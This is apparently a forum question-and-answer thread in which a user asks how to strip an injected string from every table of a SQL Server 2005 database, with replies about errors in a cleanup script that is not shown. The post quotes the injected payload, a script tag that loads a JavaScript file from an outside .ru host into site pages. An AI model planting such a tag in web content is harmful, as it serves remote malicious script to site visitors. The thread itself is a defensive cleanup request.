Is it possible to write a query that goes through the entire database to search out a particular phrase to delete it, instead of going table by table? This is on a SQL 2005 Database that was injected. The following appears throughout the database tables:
<script src=http://www.jic2.ru/script.js></script>
This appears all over in different tables exactly as above. So my database is currently limping. Can anyone help me?
Thanks
Bosco
Software/Hardware used:
ASKED:
September 10, 2008 8:53 PM
UPDATED:
June 13, 2013 3:36 PM
Check out my SQL Server blog “SQL Server with Mr Denny” for more SQL Server information.
this code did not work
What error message did it give you?
The error that I got was on the system tables. I’ve tweaked the code and updated it above to remove these errors.
I forgot to mention, this will throw an error for any columns which are of the TEXT or NTEXT datatypes. If you are using these data types let me know, and I’ll throw some code together to deal with these. Those data types are much more complex to handle.